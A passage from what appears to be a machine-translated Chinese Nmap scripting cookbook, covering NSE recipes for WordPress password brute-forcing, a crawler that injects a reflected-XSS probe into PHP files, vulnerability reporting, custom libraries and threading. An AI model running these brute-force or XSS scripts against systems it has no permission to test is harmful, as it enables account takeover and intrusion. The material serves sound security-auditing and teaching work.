      
    • 最后是login函数:

               login = function( self, username, password )
                  -- Note the no_cache directive
                  stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
                  local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
                      -- This redirect is taking us to /wp-admin
                  if response.status == 302 then
                    local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
                    c:add(username, password, creds.State.VALID )
                    return true, brute.Account:new( username, password, "OPEN")
                  end
      
                  return false, brute.Error:new( "Incorrect password" )
                end,
      
  5. 我们留下代码的主要部分来初始化、配置和启动暴力引擎:

            action = function( host, port )
              local status, result, engine
              local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
              local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
              local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
    
              engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
              engine:setMaxThreads(thread_num)
              engine.options.script_name = SCRIPT_NAME
              status, result = engine:start()
    
              return result
            end
    

它是如何工作的。。。

brute为开发人员提供了一个有组织的界面,用于编写执行暴力密码审计的 NSE 脚本。暴力脚本的数量增长了很多,目前 NSE 可以对许多应用程序、服务和协议执行暴力攻击:Apache Jserv、BackOrience、Joomla、Citrix PN Web 代理 XML、CVS、DNS、Domino 控制台、Dpap、IBM DB2、Wordpress、FTP、HTTP、Asterisk IAX2、IMAP、Informix Dynamic Server、IRC、iSCSI、LDAP、,Couchbase Membase、RPA Tech 移动鼠标、Metasploit msgrpc、Metasploit XMLRPC、MongoDB、MSSQL、MySQL、Nessus 守护程序、Netbus、Nexpose、Nping Echo、OpenVAS、Oracle、PCAnywhere、PostgreSQL、POP3、redis、rlogin、rsync、rpcap、rtsp、SIP、Samba、SMTP、SNMP、SOCKS、SVN、Telnet、VMWare Auth 守护程序和 XMPP。

要使用这个库,我们需要创建一个Driver类并将其作为参数传递给 brute 引擎。每次登录尝试都将创建此类的新实例:

Driver:login = function( self, username, password )
Driver:check = function( self ) [Deprecated]
Driver:connect = function( self )
Driver:disconnect = function( self )

在脚本http-wordpress-brute中,函数connect()disconnect()始终返回true,因为不需要事先建立连接。

login函数应返回一个布尔值以指示其状态。如果登录尝试成功,还应返回一个Account对象:

brute.Account:new( username, password, "OPEN")

在此脚本中,我们还使用库creds存储凭据。这允许其他 NSE 脚本访问它们,用户甚至可以根据结果生成其他报告。

local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
      c:add(username, password, creds.State.VALID )

还有更多。。。

NSE 库unpwdbbrute有几个脚本参数,用户可以针对其暴力密码审计攻击进行调优。

要使用不同的用户名和密码列表,请分别设置参数userdbpassdb

$ nmap -p80 --script http-wordpress-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>

要在找到一个有效帐户后退出,请使用参数brute.firstOnly

$ nmap -p80 --script http-wordpress-brute --script-args brute.firstOnly <target>

要设置不同的超时限制,请使用参数unpwd.timelimit。要无限期运行,请将其设置为 0:

$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=60m <target>

这些图书馆的官方文件可在以下网站上找到:

调试 NSE 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

异常处理

nmap为 NSE 脚本提供了异常处理机制,旨在帮助完成网络 I/O 任务。

nmap库中的异常处理机制工作正常。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值指示完成状态。如果返回falsenil,则第二个返回值必须是错误字符串。成功执行中的其余返回值可以根据需要设置和使用。当引发异常时,nmap.new_try()定义的catch函数将执行。

以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段 http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html )。在此脚本中,如果套接字保持打开状态,catch函数将执行一些简单的垃圾收集:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

NSE 图书馆的官方文件nmap可在找到 http://nmap.org/nsedoc/lib/nmap.html

暴力模式

brute库支持改变攻击中使用的组合的不同模式。可用的模式有:

  • user:对于userdb中列出的每个用户,passdb中的每个密码都将在

    $ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
    
    

    中进行尝试

  • pass:对于passdb中列出的每个密码,userdb中的每个用户都将进行

    $ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
    
    

    的试用

  • creds:这需要额外的参数brute.credfile

    $ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
    
    

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 第 4 章审计 Web 服务器中的强制 HTTP 认证配方
  • 第 4 章中的暴力密码审计 Wordpress 安装配方审计 Web 服务器
  • 第 4 章审计 Web 服务器中的暴力密码审计 Joomla 安装配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞
  • 编写自己的 NSE 库配方

使用网络爬虫库

在测试 web 应用程序时,需要对 web 服务器中的每个文件进行某些检查。查找忘记的备份文件等任务可能会泄露应用程序源代码或数据库密码。Nmap 脚本引擎支持 web 爬网,以帮助我们完成需要 web 服务器上现有文件列表的任务。

此方法将向您展示如何编写 NSE 脚本,该脚本将爬网 web 服务器以查找具有.php扩展名的文件,并通过变量$_SERVER["PHP_SELF"] 执行注入测试以查找反映的跨站点脚本漏洞。

怎么做。。。

一些主要安全扫描程序遗漏的一项常见任务是通过变量$_SERVER["PHP_SELF"]定位 PHP 文件中反映的跨站点脚本漏洞。web 爬虫库httpspider在自动执行此任务时非常方便,如下所示:

  1. 创建脚本文件http-phpself-xss.nse并完成信息标签:

    description=[[
    Crawls a web server and attempts to find PHP files vulnerable to reflected cross site scripting via the variable $_SERVER["PHP_SELF"].
    
    This script crawls the web server to create a list of PHP files and then sends an attack vector/probe to identify PHP_SELF cross site scripting vulnerabilities.
    PHP_SELF XSS refers to reflected cross site scripting vulnerabilities caused by the lack of sanitation of the variable <code>$_SERVER["PHP_SELF"]</code> in PHP scripts. This variable iscommonly used in php scripts that display forms and when the script file name  is needed.
    
    Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]:
    *http://www.securityfocus.com/bid/37351
    *http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage
    *http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x
    
    The attack vector/probe used is: <code>/'"/><script>alert(1)</script></code>
    ]]
    author = "Paulino Calderon <calderon()websec.mx>"
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    categories = {"fuzzer", "intrusive", "vuln"}
    
  2. 加载所需的库(Nmap 6.x 格式):

    local http = require 'http'
    local httpspider = require 'httpspider'
    local shortport = require 'shortport'
    local url = require 'url'
    local stdnse = require 'stdnse'
    local vulns = require 'vulns'
    
  3. 定义每次遇到别名为shortport.http

    portrule = shortport.http
    

    的 HTTP 服务器时脚本都应运行

  4. 编写将从爬虫程序接收 URI 并发送注入探测的函数:

    local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
    local probes = {}
    local function launch_probe(host, port, uri)
      local probe_response
      --We avoid repeating probes.
      --This is a temp fix since httpspider do not keep track of previously parsed links at the moment.
      if probes[uri] then
        return false
      end
    
      stdnse.print_debug(1, "%s:HTTP GET %s%s", SCRIPT_NAME, uri, PHP_SELF_PROBE)
      probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
    
      --save probe in list to avoid repeating it
      probes[uri] = true
    
      if check_probe_response(probe_response) then
        return true
      end
      return false
    end
    
  5. 增加检查响应体判断 PHP 文件是否易受攻击的功能:

    local function check_probe_response(response)
      stdnse.print_debug(3, "Probe response:\n%s", response.body)
      if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
        return true
      end
      return false
    end
    
  6. In the main section of the script, we will add the code that reads the script arguments, initializes the http crawler, sets the vulnerability information, and iterates through the pages to launch a probe if a PHP file is found:

    action = function(host, port)
      local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
      local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
      local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
      crawler:set_timeout(timeout)
    
      local vuln = {
           title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files',
           state = vulns.STATE.NOT_VULN,
           description = [[
    PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
           ]],
           references = {
               'http://php.net/manual/en/reserved.variables.server.php',
               'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)'
           }
         }
      local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    
      local vulnpages = {}
      local probed_pages= {}
    
      while(true) do
        local status, r = crawler:crawl()
        if ( not(status) ) then
          if ( r.err ) then
            return stdnse.format_output(true, "ERROR: %s", r.reason)
          else
            break
          end
        end
    
        local parsed = url.parse(tostring(r.url))
    
        --Only work with .php files
        if ( parsed.path and parsed.path:match(".*.php") ) then
            --The following port/scheme code was seen in http-backup-finder and its neat =)
            local host, port = parsed.host, parsed.port
            if ( not(port) ) then
              port = (parsed.scheme == 'https') and 443
              port = port or ((parsed.scheme == 'http') and 80)
            end
            local escaped_link = parsed.path:gsub(" ", "%%20")
            if launch_probe(host,port,escaped_link) then
              table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE)
            end
          end
      end
    
      if ( #vulnpages > 0 ) then
        vuln.state = vulns.STATE.EXPLOIT
        vulnpages.name = "Vulnerable files with proof of concept:"
        vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
      end
    
      return vuln_report:make_output(vuln)
    
    end
    

    要运行脚本,请使用以下命令:

    $ nmap -p80 --script http-phpself-xss.nse <target>
    
    

    如果 PHP 文件易受通过$_SERVER["PHP_SELF"]注入的跨站点脚本攻击,则输出将如下所示:

    PORT   STATE SERVICE REASON
    80/tcp open  http    syn-ack
     http-phpself-xss:
       VULNERABLE:
       Unsafe use of $_SERVER["PHP_SELF"] in PHP files
         State: VULNERABLE (Exploitable)
         Description:
           PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
    
         Extra information:
    
       Vulnerable files with proof of concept:
         http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
         http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
         http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
         http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
       Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
         References:
           https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
          http://php.net/manual/en/reserved.variables.server.php
    

它是如何工作的。。。

脚本http-phpself-xss依赖于库httpspider。这个库提供了一个 web 爬虫的接口,该爬虫向发现的 URI 返回迭代器。此库在执行 web 渗透测试时非常有用,因为它可以加快一些测试,否则这些测试将必须手动或使用第三方工具完成。

PHP 为开发人员提供了一个名为$_SERVER["PHP_SELF"]的变量,用于检索正在执行的 PHP 脚本的文件名。不幸的是,它是一个可以篡改用户提供的数据的值,许多开发人员在其脚本中不安全地使用它,导致反映的跨站点脚本XSS)漏洞。

首先,我们初始化一个网络爬虫。我们设置起始路径和超时值:

local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)

可以使用以下库参数修改 web 爬虫程序的行为:

  • url:开始爬网的基本 URL。
  • maxpagecount:退出前访问的最大页数。
  • useheadfornonwebfiles:找到二进制文件时使用HEAD节省带宽。未被视为二进制文件的文件列表在file /nselib/data/http-web-file-extensions.lst中定义。
  • noblacklist:不要加载黑名单规则。不建议使用此选项,因为它将下载所有文件,包括二进制文件。
  • withinhost:过滤掉同一主机之外的 URI。
  • withindomain:过滤掉同一域之外的 URI。

我们遍历 URI 以查找扩展名为.php的文件:

while(true) do
    local status, r = crawler:crawl()
    local parsed = url.parse(tostring(r.url))
    if ( parsed.path and parsed.path:match(".*.php") ) then
    …
    end
end

通过使用函数http.get()处理每个扩展名为.php的 URI,并为每个 URI 发送一个注入探针:

local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)

check_probe_response()函数只是在string.find()的帮助下在响应中查找注入的文本:

if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
    return true
  end
  return false

执行后,我们检查存储易受攻击 URI 的表,并将其作为额外信息报告:

if ( #vulnpages > 0 ) then
    vuln.state = vulns.STATE.EXPLOIT
    vulnpages.name = "Vulnerable files with proof of concept:"
    vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
end

return vuln_report:make_output(vuln)

还有更多。。。

建议您包含一条消息,通知用户 web 爬虫使用的设置,因为它可能在完成测试之前退出。函数crawler:getLimitations()将返回一个显示爬虫设置的字符串:

Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=scanme.nmap.org

图书馆httpspider的官方文件可在找到 http://nmap.org/nsedoc/lib/httpspider.html

调试 NSE 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

实际设置用户代理

有些包过滤产品使用 Nmap 的默认 HTTP 用户代理阻止请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>

要在 NSE 脚本中设置用户代理,可以通过header字段:

options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)

HTTP 流水线

某些 web 服务器配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行,如果 web 服务器支持,建议这样做。默认情况下,http库尝试通过管道传输 40 个请求,并根据网络条件和Keep-Alive头自动调整该数量。

用户需要设置脚本参数http.pipeline来调整此值:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

要在 NSE 脚本中实现 HTTP 管道,请使用函数http.pipeline_add()http.pipeline()。首先,启动一个保存请求的变量:

local reqs = nil

使用http.pipeline_add()向管道添加请求:

reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)

添加完请求后,使用http.pipeline()执行管道:

local results = http.pipeline(target, 80, reqs)

变量 results 将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,您只需遍历对象:

for i, req in pairs(results) do
  stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end

异常处理

nmap为 NSE 脚本提供异常处理机制,旨在帮助完成网络 I/O 任务。

nmap库中的异常处理机制工作正常。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值指示完成状态。如果返回falsenil,则第二个返回值必须是错误字符串。成功执行中的其余返回值可以根据需要设置和使用。当引发异常时,将执行由nmap.new_try()定义的catch函数。

以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段 http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html )。在此脚本中,如果套接字保持打开状态,catch函数将执行一些简单的垃圾收集:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

NSE 图书馆的官方文件nmap可在找到 http://nmap.org/nsedoc/lib/nmap.html

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 在 NSE 脚本配方中正确报告漏洞
  • 编写自己的 NSE 库配方

在 NSE 脚本中正确报告漏洞

Nmap 脚本引擎非常适合检测漏洞,因此 Nmap 中已经包含了多个攻击脚本。不久前,每个开发人员在报告这些漏洞时都使用了自己的输出标准。为了解决这个问题并统一输出格式和提供的信息量,引入了图书馆vulns

此配方将教您如何使用库vulns正确报告 NSE 脚本中的漏洞。

怎么做。。。

报告 NSE 漏洞的正确方法是通过库vulns。让我们回顾一下报告漏洞的过程:

  1. 加载库vulns(Nmap 6.x 格式):

    local vulns = require "vulns"
    
  2. 创建一个vuln对象表。特别注意state字段:

    local vuln = { title = "<TITLE GOES HERE>",
                   state = vulns.STATE.NOT_VULN,
                 references = {"<URL1>", "URL2"},
                   description = [[<DESCRIPTION GOES HERE> ]],
                   IDS = {CVE = "<CVE ID>", BID = "BID ID"},
                   risk_factor = "High/Medium/Low" }
    
  3. 创建报告对象并报告漏洞:

    local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)
    return vuln_report:make_output(vuln)
    
  4. 如果状态设置为指示主机是否易受攻击,Nmap 将包含类似的漏洞报告:

    PORT   STATE SERVICE REASON
    80/tcp open  http    syn-ack
     http-vuln-cve2012-1823:
       VULNERABLE:
       PHP-CGI Remote code execution and source code disclosure
         State: VULNERABLE (Exploitable)
         IDs:  CVE:2012-1823
         Description:
           According to PHP's website, "PHP is a widely-used general-purpose
           scripting language that is especially suited for Web development and
           can be embedded into HTML." When PHP is used in a CGI-based setup
           (such as Apache's mod_cgid), the php-cgi receives a processed query
           string parameter as command line arguments which allows command-line
           switches, such as -s, -d or -c to be passed to the php-cgi binary,
           which can be exploited to disclose source code and obtain arbitrary
           code execution.
         Disclosure date: 2012-05-3
         Extra information:
           Proof of Concept:/index.php?-s
         References:
           http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
           http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
          http://ompldr.org/vZGxxaQ
    

它是如何工作的。。。

vulns由 Djalal Harouni 和 Henri Doreau 引入,用于统一执行漏洞检查的 NSE 脚本返回的输出。该库还管理并跟踪已完成的安全检查,这是一项非常有用的功能,适用于希望列出安全检查的用户,即使目标不易受攻击。

漏洞表可以包含以下字段:

  • title:表示漏洞标题的字符串。此字段是必填字段。
  • state:此字段表示漏洞检查的不同可能状态。此字段是必填字段。所有可能的值见表vulns.STATE
  • IDS:存储 CVE 和投标 ID 的字段。它用于自动生成建议 URL。
  • risk_factor:表示风险因素的字符串:High/Medium/Low
  • scores:存储 CVSS 和 CVSSv2 分数的字段。
  • description:漏洞描述。
  • dates:与此漏洞相关的日期字段。
  • check_results:字符串或用于存储返回结果的字符串列表。
  • exploit_results:用于存储利用结果的字符串或字符串列表。
  • extra_info:用于存储附加信息的字符串或字符串列表。
  • references:作为参考的 URI 列表。如果设置了表 ID,库将自动为 CVE 和 BID 链接生成 URI。

如前所述,报告 NSE 中漏洞的过程非常简单。首先,我们创建一个包含所有漏洞信息的表:

local vuln = { title = "<TITLE GOES HERE>", state = vulns.STATE.NOT_VULN, ... }

要向用户报告,我们需要一个报告对象:

local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)

您应该在包含此库的 NSE 脚本中使用的最后一个函数是make_output()。如果发现目标易受攻击,则生成并显示报告;如果目标不易受攻击,则返回nil

return vuln_report:make_output(vuln)

如果您想学习更多使用此库的 NSE 脚本,请访问http://nmap.org/nsedoc/categories/vuln.html 。注意,并不是所有的脚本都使用它,因为这个库是最近引入的。

还有更多。。。

您可以使用库参数vulns.showall告诉 Nmap 报告 NSE 执行的所有漏洞检查:

# nmap -sV --script vuln --script-args vulns.showall <target>

将显示所有漏洞检查的列表:

| http-vuln-cve2011-3192:
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  OSVDB:74721
|     Description:
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       http://nessus.org/plugins/index.php?view=single&id=55976
|       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       http://osvdb.org/74721
|_      http://seclists.org/fulldisclosure/2011/Aug/175
| http-vuln-cve2011-3368:
|   NOT VULNERABLE:
|   Apache mod_proxy Reverse Proxy Security Bypass
|     State: NOT VULNERABLE
|     IDs:  CVE:CVE-2011-3368  OSVDB:76079
|     References:
|       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
|_      http://osvdb.org/76079

如果您需要更大的灵活性,此库还可以与 prerule 和 postrule 操作结合使用。NSE 库vulns的在线文档可在找到 http://nmap.org/nsedoc/lib/vulns.html

库 vulns 的漏洞状态

vulns可以将主机标记为可利用状态,用于向 Nmap 脚本引擎指示主机中是否存在某些漏洞。

以下是来自vulns库的一个片段,显示了支持的状态和报告中使用的相应字符串消息:

STATE_MSG = {
  [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
  [STATE.NOT_VULN] = 'NOT VULNERABLE',
  [STATE.VULN] = 'VULNERABLE',
  [STATE.DoS] = 'VULNERABLE (DoS)',
  [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
  [bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
  [bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 编写自己的 NSE 库配方

编写自己的 NSE 库

有时,您会意识到您正在编写的代码可能会被放入一个库中,供其他 NSE 脚本重用。编写 NSE 库的过程是简单的,并且只有一些需要考虑的事情,例如不访问其他脚本使用的全局变量。尽管 Lua 模块是首选,但对于那些希望获得额外性能的人来说,Nmap 脚本引擎还通过 Lua C API 支持 C 模块。

本食谱将教您如何创建自己的 Lua NSE 库。

怎么做。。。

创建库的过程与编写脚本的过程类似。只需记住您正在处理的变量的范围。让我们创建一个简单的库:

  1. 创建一个新文件mylibrary.lua,首先键入您可能需要的库:

    local math = require "math"
    
  2. 现在,只需将函数添加到库中即可。我们将创建一个返回经典"Hello World!"消息的函数:

    function hello_word()
      return "Hello World!"
    end
    
  3. 将您的库文件放在目录/nselib/中。创建一个新的 NSE 脚本,并在其中添加require()调用:

    local mylibrary = require "mylibrary"
    
  4. 从脚本内部执行方法。如果无法访问该方法,则可能为函数设置了不正确的作用域分配:

    mylibrary.hello_world()
    

它是如何工作的。。。

LUA NSE 库存储在配置数据目录的目录/nselib/中。要创建我们自己的库,我们只需要创建.lua文件并将其放置在该目录中:

--hello.lua
local stdnse = require "stdnse"
function hello(msg, name)
   return stdnse.format("%s %s", msg, name)
end

NSE 脚本现在可以导入 NSE 库并调用可用函数:

local hello = require "hello"
...
hello.foo()

在将您的库提交给<[nmap-dev@insecure.org](mailto:nmap-dev@insecure.org)>之前做好文档记录非常重要,以帮助其他开发人员快速了解新库的用途和功能。

还有更多。。。

为避免错误覆盖其他脚本中使用的全局变量,请包括模块strict.lua。每当您在运行时访问或修改未声明的全局变量时,此模块将向您发出警报。

调试 NSE 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

异常处理

nmap为 NSE 脚本提供了异常处理机制,旨在帮助完成网络 I/O 任务。

nmap 库中的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值指示完成状态。如果返回falsenil,则第二个返回值必须是错误字符串。成功执行中的其余返回值可以根据需要设置和使用。当引发异常时,nmap.new_try()定义的catch函数将执行。

以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段 http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html )。在此脚本中,如果套接字保持打开状态,catch函数将执行一些简单的垃圾收集:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

NSE 图书馆的官方文件nmap可在找到 http://nmap.org/nsedoc/lib/nmap.html

导入 C 中的模块

NMAP 脚本引擎中包含的一些模块是用 C++或 C 编写的。这些语言提供了增强的性能,并且在这是所需任务的关键方面时推荐使用这些模块。

我们可以在脚本中使用编译后的 C 模块和 Lua C API,具体方法如下:

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞

在 NSE 中使用 NSE 线程、条件变量和互斥体

Nmap 脚本引擎通过实现线程、条件变量和互斥量,对脚本并行性提供了更好的控制。每个 NSE 脚本通常在 Lua 协程或线程内执行,但如果程序员决定这样做,它可能会产生额外的工作线程。

本食谱将教您如何处理 NSE 中的并行性。

怎么做。。。

对于需要并行执行网络操作的脚本,建议使用 NSE 线程。让我们看看如何在脚本中处理并行性:

  1. 要创建新的 NSE 线程,请使用库stdnse

    local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)
    

    中的函数new_thread()

  2. 要同步对网络资源的访问,请在对象上创建互斥体:

    local my_mutex = nmap.mutex(object)
    
  3. 然后nmap.mutex(object)返回的函数可以如下锁定:

    my_mutex("trylock")
    
  4. 使用完毕后,应使用功能"done"

    my_mutex("done")
    

    将其释放

  5. NSE 支持条件变量以帮助您同步线程的执行。要创建条件变量,请使用函数nmap.condvar(object)

    local o = {} 
    local my_condvar = nmap.condvar(o)
    
  6. 之后,您可以等待、发送信号或广播条件变量:

    my_condvar("signal")
    

它是如何工作的。。。

NSE 脚本在网络操作发生时透明地产生。脚本编写者可能希望执行并行网络任务,比如脚本http-slowloris,它打开多个套接字并使它们同时打开。NSE 线程通过允许脚本编写器生成并行网络操作来解决此问题。

函数stdnse.new_thread接收新工作者的主函数作为第一个参数。此函数将在创建新线程后执行。脚本编写器可以将任何附加参数作为可选参数传递到stdnse.new_thread()

local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)

NSE 将忽略辅助进程的返回值,它们无法报告脚本输出。官方文档建议使用upvalues、函数参数或环境将结果报告回基本线程。

执行后,它返回基本协同程序和状态查询函数。此状态查询函数最多返回两个值:coroutine.status使用基coroutine的结果,如果发生错误,则返回错误对象。

互斥锁或互斥对象被实现来保护资源,如 NSE 套接字。可以对互斥执行以下操作:

  • lock:锁定互斥锁。如果使用互斥锁,工作线程将屈服并等待它被释放。
  • trylock:尝试以非阻塞方式锁定互斥锁。如果使用互斥锁,它将返回 false。(它不会像函数lock中那样屈服。)
  • done:释放互斥锁。其他线程可以在此之后锁定它。
  • running:此函数除了用于调试外,不应使用,因为它会影响已完成线程的线程收集。

实现条件变量是为了帮助开发人员协调线程之间的通信。可以对条件变量执行以下操作:

  • broadcast:恢复条件变量队列中的所有线程
  • wait:将当前线程添加到条件变量上的等待队列中
  • signal:向等待队列发送线程信号

要阅读脚本并行的实现,我建议您阅读 NSE 脚本的源代码broadcast-pingssl-enum-ciphersfirewall-bypasshttp-slowlorisbroadcast-dhcp-discover

还有更多。。。

Lua 提供了一个有趣的特性,称为协同路由。每个协同程序都有自己的执行堆栈。最重要的是我们可以通过coroutine.resume()coroutine.yield()暂停和恢复执行。引入了函数stdnse.base()来帮助识别主脚本线程是否仍在运行。它返回正在运行的脚本的基本协程。

您可以从 Lua 的官方文档中了解有关协同路由的更多信息:

调试 NSE 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

异常处理

nmap为 NSE 脚本提供异常处理机制,旨在帮助完成网络 I/O 任务。

nmap库中的异常处理机制工作正常。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值指示完成状态。如果返回falsenil,则第二个返回值必须是错误字符串。成功执行中的其余返回值可以根据需要设置和使用。当引发异常时,nmap.new_try()定义的catch函数将执行。

以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段 http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html )。在此脚本中,如果套接字保持打开状态,catch函数将执行一些简单的垃圾收集:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

NSE 图书馆的官方文件nmap可在找到 http://nmap.org/nsedoc/lib/nmap.html

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞